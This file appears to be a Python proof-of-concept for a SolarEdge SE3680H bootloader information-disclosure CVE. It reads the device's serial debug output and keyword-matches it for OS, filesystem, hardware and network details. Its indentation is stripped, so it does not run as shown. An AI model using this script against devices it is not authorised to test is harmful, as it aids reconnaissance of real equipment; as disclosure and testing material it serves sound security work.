#!/usr/bin/env python3
"""
CVE-2025-36744 PoC - SolarEdge SE3680H Bootloader Information Disclosure
This PoC demonstrates how to capture sensitive information from the SolarEdge SE3680H bootloader.
Note: Physical access to the device is required.
"""
import serial
import time
import sys
def connect_to_device(port='/dev/ttyUSB0', baudrate=115200):
"""
Connect to the SolarEdge device via serial debug port.
Common ports: /dev/ttyUSB0, /dev/ttyUSB1, COM1, COM2
"""
try:
ser = serial.Serial(
port=port,
baudrate=baudrate,
bytesize=serial.EIGHTBITS,
parity=serial.PARITY_NONE,
stopbits=serial.STOPBITS_ONE,
timeout=10
)
return ser
except serial.SerialException as e:
print(f"[-] Failed to connect to {port}: {e}")
return None
def capture_bootloader_output(ser, duration=30):
"""
Capture bootloader diagnostic output for specified duration.
The bootloader loop continuously outputs system information.
"""
print(f"[*] Capturing bootloader output for {duration} seconds...")
print("[*] Waiting for device initialization...\n")
start_time = time.time()
output_buffer = []
while time.time() - start_time < duration:
if ser.in_waiting > 0:
try:
data = ser.read(ser.in_waiting)
decoded_data = data.decode('utf-8', errors='ignore')
output_buffer.append(decoded_data)
print(decoded_data, end='')
except Exception as e:
print(f"[-] Error reading data: {e}")
time.sleep(0.1)
return ''.join(output_buffer)
def analyze_captured_data(data):
"""
Analyze captured data for sensitive information.
Look for OS details, kernel info, filesystem data, etc.
"""
sensitive_patterns = {
'os_version': ['Linux', 'kernel', 'version', 'release'],
'filesystem': ['ext', 'squashfs', 'ubi', 'jffs2', 'mount'],
'hardware': ['CPU', 'memory', 'DDR', 'SOC', 'board'],
'network': ['eth', 'wlan', 'IP', 'MAC', 'dhcp']
}
findings = {}
for category, keywords in sensitive_patterns.items():
matches = []
for keyword in keywords:
if keyword.lower() in data.lower():
matches.append(keyword)
if matches:
findings[category] = matches
return findings
def main():
print("=" * 60)
print("CVE-2025-36744 PoC - SolarEdge SE3680H")
print("Information Disclosure via Bootloader Loop")
print("=" * 60)
port = sys.argv[1] if len(sys.argv) > 1 else '/dev/ttyUSB0'
ser = connect_to_device(port)
if not ser:
sys.exit(1)
print(f"[+] Connected to {port}")
print("[+] Starting bootloader capture...\n")
captured_data = capture_bootloader_output(ser, duration=30)
print("\n" + "=" * 60)
print("[*] Analyzing captured data...")
findings = analyze_captured_data(captured_data)
print("\n[+] Sensitive Information Found:")
for category, matches in findings.items():
print(f" - {category}: {', '.join(matches)}")
ser.close()
print("\n[+] Capture complete. Serial connection closed.")
if __name__ == '__main__':
main()